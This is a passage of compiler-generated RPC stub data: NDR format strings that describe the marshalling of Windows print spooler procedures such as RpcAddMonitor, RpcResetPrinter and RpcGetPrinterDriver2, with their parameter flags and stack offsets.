0x40 ),\t/* 64 */\n/* 2602 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 2604 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2606 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2608 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2610 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2612 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter phPrinterIC */\n\n/* 2614 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 2616 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2618 */\tNdrFcShort( 0x6b6 ),\t/* Type Offset=1718 */\n\n\t/* Return value */\n\n/* 2620 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2622 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2624 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum43NotUsedOnWire */\n\n/* 2626 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2628 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2632 */\tNdrFcShort( 0x2b ),\t/* 43 */\n/* 2634 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2636 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2638 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2640 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2642 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2644 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2646 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2648 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2650 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2652 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2654 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum44NotUsedOnWire */\n\n/* 2656 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2658 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2662 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 2664 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2666 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2668 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2670 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2672 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2674 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2676 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2678 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2680 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2682 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2684 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum45NotUsedOnWire */\n\n/* 2686 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2688 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2692 */\tNdrFcShort( 0x2d ),\t/* 45 */\n/* 2694 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2696 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2698 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2700 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2702 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2704 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2706 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2708 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2710 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2712 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2714 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcAddMonitor */\n\n/* 2716 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2718 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2722 */\tNdrFcShort( 0x2e ),\t/* 46 */\n/* 2724 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2726 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2728 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2730 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2732 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2734 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2736 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 2738 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2740 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2742 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2744 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2746 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Name */\n\n/* 2748 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2750 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2752 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pMonitorContainer */\n\n/* 2754 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2756 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2758 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Return value */\n\n/* 2760 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2762 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2764 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeleteMonitor */\n\n/* 2766 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2768 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2772 */\tNdrFcShort( 0x2f ),\t/* 47 */\n/* 2774 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2776 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2778 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2780 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2782 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2784 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2786 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2788 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2790 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2792 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2794 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2796 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Name */\n\n/* 2798 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2800 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2802 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2804 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2806 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2808 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pMonitorName */\n\n/* 2810 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2812 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2814 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 2816 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2818 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2820 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeletePrintProcessor */\n\n/* 2822 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2824 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2828 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 2830 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2832 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2834 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2836 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2838 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2840 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2842 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2844 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2846 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2848 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2850 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2852 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Name */\n\n/* 2854 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2856 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2858 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2860 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2862 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2864 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrintProcessorName */\n\n/* 2866 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2868 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2870 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 2872 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2874 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2876 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum49NotUsedOnWire */\n\n/* 2878 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2880 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2884 */\tNdrFcShort( 0x31 ),\t/* 49 */\n/* 2886 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2888 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2890 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2892 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2894 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2896 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2898 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2900 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2902 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2904 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2906 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum50NotUsedOnWire */\n\n/* 2908 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2910 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2914 */\tNdrFcShort( 0x32 ),\t/* 50 */\n/* 2916 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2918 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2920 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2922 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2924 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2926 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2928 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2930 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2932 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2934 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2936 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcEnumPrintProcessorDatatypes */\n\n/* 2938 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2940 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2944 */\tNdrFcShort( 0x33 ),\t/* 51 */\n/* 2946 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2948 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2950 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2952 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2954 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2956 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2958 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 2960 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2962 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2964 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2966 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2968 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2970 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2972 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2974 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrintProcessorName */\n\n/* 2976 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2978 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2980 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2982 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2984 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2986 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDatatypes */\n\n/* 2988 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2990 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2992 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 2994 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2996 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2998 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 3000 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3002 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3004 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 3006 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3008 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3010 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3012 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3014 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3016 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcResetPrinter */\n\n/* 3018 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3020 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3024 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 3026 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3028 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3030 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3032 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3034 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3036 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3038 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3040 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3042 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3044 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3046 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3048 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 3050 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3052 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3054 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pDatatype */\n\n/* 3056 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3058 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3060 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 3062 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3064 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3066 */\tNdrFcShort( 0x46 ),\t/* Type Offset=70 */\n\n\t/* Return value */\n\n/* 3068 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3070 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3072 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetPrinterDriver2 */\n\n/* 3074 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3076 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3080 */\tNdrFcShort( 0x35 ),\t/* 53 */\n/* 3082 */\tNdrFcShort( 0x58 ),\t/* X64 Stack size/offset = 88 */\n/* 3084 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3086 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3088 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3090 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 3092 */\tNdrFcShort( 0x5c ),\t/* 92 */\n/* 3094 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0xb,\t\t/* 11 */\n/* 3096 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3098 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3100 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3102 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3104 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 3106 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3108 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3110 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pEnvironment */\n\n/* 3112 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3114 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3116 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 3118 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3120 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3122 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDriver */\n\n/* 3124 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 3126 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3128 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 3130 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3132 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3134 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 3136 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3138 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3140 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwClientMajorVersion */\n\n/* 3142 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3144 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3146 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwClientMinorVersion */\n\n/* 3148 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3150 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3152 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pdwServerMaxVersion */\n\n/* 3154 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3156 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 3158 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pdwServerMinVersion */\n\n/* 3160 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3162 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 3164 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3166 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3168 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 3170 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum54NotUsedOnWire */\n\n/* 3172 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3174 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3178 */\tNdrFcShort( 0x36 ),\t/* 54 */\n/* 3180 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3182 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3184 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3186 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3188 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3190 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 3192 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3194 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3196 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3198 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3200 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum55NotUsedOnWire */\n\n/* 3202 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3204 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3208 */\tNdrFcShort( 0x37 ),\t/* 55 */\n/* 3210 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3212 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3214 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3216 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3218 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3220 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 3222 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3224 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3226 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3228 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3230 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcFindClosePrinterChangeNotification */\n\n/* 3232 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3234 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3238 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 3240 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3242 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3244 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3246 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3248 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3250 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3252 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 3254 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3256 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3258 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3260 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3262 */\tNdrFcShort( 0x0 ),\t/* 0 